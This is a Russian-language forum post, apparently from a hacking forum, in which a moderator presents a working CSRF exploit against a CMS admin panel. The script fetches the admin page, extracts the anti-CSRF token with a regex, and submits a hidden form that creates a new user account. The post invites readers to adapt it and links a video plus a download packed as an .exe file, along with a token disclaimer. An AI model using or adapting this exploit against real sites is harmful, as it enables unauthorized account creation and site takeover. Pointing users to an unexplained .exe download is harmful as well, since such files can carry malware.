McGrath
Moderator
- Messages
- 1,007
- Reaction score
- 189
- Points
- 63
Привет.
Хотел бы показать как устраивать CSRF атаку.
Часто помогает, если нету прямых уязвимостей типа: php include, sqli.
Причем зачастую очень легко эксплуатируется.
Сам скрипт:
Это всего лишь пример, для ваших нужд, вам надо будет его поправлять.
И да, если вы зальете данный файл на хост1, а админка будет на хост2, то ничего не получится, в JS запрещенно выполнять междоменные запросы.
Вся информация на видео:
http://www.youtube.com/watch?v=jFV_Geit590
Сорри что в .exe файле - так лучше сжимается.
http://www.sendspace.com/file/3uadqb
Спасибо за внимание.
Ах да, видео там не пропагандирует на незаконные действия и всё такое.
Хотел бы показать как устраивать CSRF атаку.
Часто помогает, если нету прямых уязвимостей типа: php include, sqli.
Причем зачастую очень легко эксплуатируется.
Сам скрипт:
Code:
<html>
<body>
<script>
function GetXmlHttpObject()
{
var objXMLHttp=null;
if (window.XMLHttpRequest)
{
objXMLHttp=new XMLHttpRequest();
}
else
if (window.ActiveXObject)
{
objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return objXMLHttp;
}
function stateChanged()
{
if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
{
var str = xmlHttp.responseText; // Получаем страницу.
var regexp = /_sx_=[A-Za-z0-9_]{8}/gi; // Шаблон регулярного выражения ищет все буквы и цифры. {8} - Показывает что 8 символов.
var matches = str.match(regexp); // Выполняем поиск по регулярному выражению, и заносим в массив.
var attack_url = "http://localhost/cms/admin/adduser.php?_sx_=" + matches[0]; // Формируем запрос.
document.getElementById('1234').action = attack_url; // Формируем запрос в form
document.getElementById('sx').value = matches[0]; // Заносим anti csrf токкен в скрипт, что-бы выполнить запрос.
}
}
xmlHttp=GetXmlHttpObject();
var url="http://localhost/cms/admin/index.php";
xmlHttp.onreadystatechange = stateChanged;
xmlHttp.open("GET",url,true); // Выполняем запрос
xmlHttp.send(null);
</script>
<form id="1234" method="post" class="cms_form" enctype="multipart/form-data" >
<input type="hidden" name="user" value="tester" />
<input type="hidden" name="_sx_" id="sx" />
<input type="hidden" name="password" value="1234" />
<input type="hidden" name="passwordagain" value="1234" />
<input type="hidden" name="active" value="on" />
<input type="hidden" name="groups" value="1" />
<input type="hidden" name="g1" value="1" />
<input type="hidden" name="adduser" value="true" />
<input type="submit">
</form>
</body>
</html>
Это всего лишь пример, для ваших нужд, вам надо будет его поправлять.
И да, если вы зальете данный файл на хост1, а админка будет на хост2, то ничего не получится, в JS запрещенно выполнять междоменные запросы.
Вся информация на видео:
http://www.youtube.com/watch?v=jFV_Geit590
Сорри что в .exe файле - так лучше сжимается.
http://www.sendspace.com/file/3uadqb
Спасибо за внимание.
Ах да, видео там не пропагандирует на незаконные действия и всё такое.
Last edited: